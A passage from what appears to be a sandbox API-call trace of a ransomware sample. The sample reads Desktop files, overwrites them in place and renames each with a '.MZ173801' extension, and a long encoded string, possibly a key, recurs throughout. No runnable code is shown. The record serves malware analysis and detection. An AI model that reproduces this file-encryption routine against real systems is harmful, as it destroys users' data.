lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Abo9IBT_wYq3F_uBufO.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\abo9ibt_wyq3f_ubufo.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.737] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.737] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.738] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xc5aa [0144.738] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.738] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0xc5aa, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xc5aa, lpOverlapped=0x0) returned 1 [0144.739] CloseHandle (hObject=0x224) returned 1 [0144.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Abo9IBT_wYq3F_uBufO.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\abo9ibt_wyq3f_ubufo.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.742] WriteFile (in: hFile=0x224, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xc5aa, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f99c*=0xc5aa, lpOverlapped=0x0) returned 1 [0144.744] CloseHandle (hObject=0x224) returned 1 [0144.745] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Abo9IBT_wYq3F_uBufO.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\abo9ibt_wyq3f_ubufo.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Abo9IBT_wYq3F_uBufO.pdf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\abo9ibt_wyq3f_ubufo.pdf.mz173801")) returned 1 [0144.746] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Aei5BV-NT.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aei5bv-nt.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64e19ef0, ftCreationTime.dwHighDateTime=0x1d5dc2b, ftLastAccessTime.dwLowDateTime=0x151aca20, ftLastAccessTime.dwHighDateTime=0x1d5d7b4, ftLastWriteTime.dwLowDateTime=0x151aca20, ftLastWriteTime.dwHighDateTime=0x1d5d7b4, nFileSizeHigh=0x0, nFileSizeLow=0x18d97)) returned 1 [0144.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.750] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Aei5BV-NT.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aei5bv-nt.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.750] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.750] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.751] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x18d97 [0144.751] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.751] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x18d97, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x18d97, lpOverlapped=0x0) returned 1 [0144.752] CloseHandle (hObject=0x224) returned 1 [0144.754] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Aei5BV-NT.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aei5bv-nt.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.757] WriteFile (in: hFile=0x224, lpBuffer=0x72e540*, nNumberOfBytesToWrite=0x18d97, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72e540*, lpNumberOfBytesWritten=0x18f99c*=0x18d97, lpOverlapped=0x0) returned 1 [0144.760] CloseHandle (hObject=0x224) returned 1 [0144.760] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Aei5BV-NT.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aei5bv-nt.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Aei5BV-NT.docx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aei5bv-nt.docx.mz173801")) returned 1 [0144.762] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcsZXJjwJj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bcszxjjwjj.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b2cfd0, ftCreationTime.dwHighDateTime=0x1d5dba5, ftLastAccessTime.dwLowDateTime=0xa6b1cd10, ftLastAccessTime.dwHighDateTime=0x1d5e193, ftLastWriteTime.dwLowDateTime=0xa6b1cd10, ftLastWriteTime.dwHighDateTime=0x1d5e193, nFileSizeHigh=0x0, nFileSizeLow=0xc26e)) returned 1 [0144.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY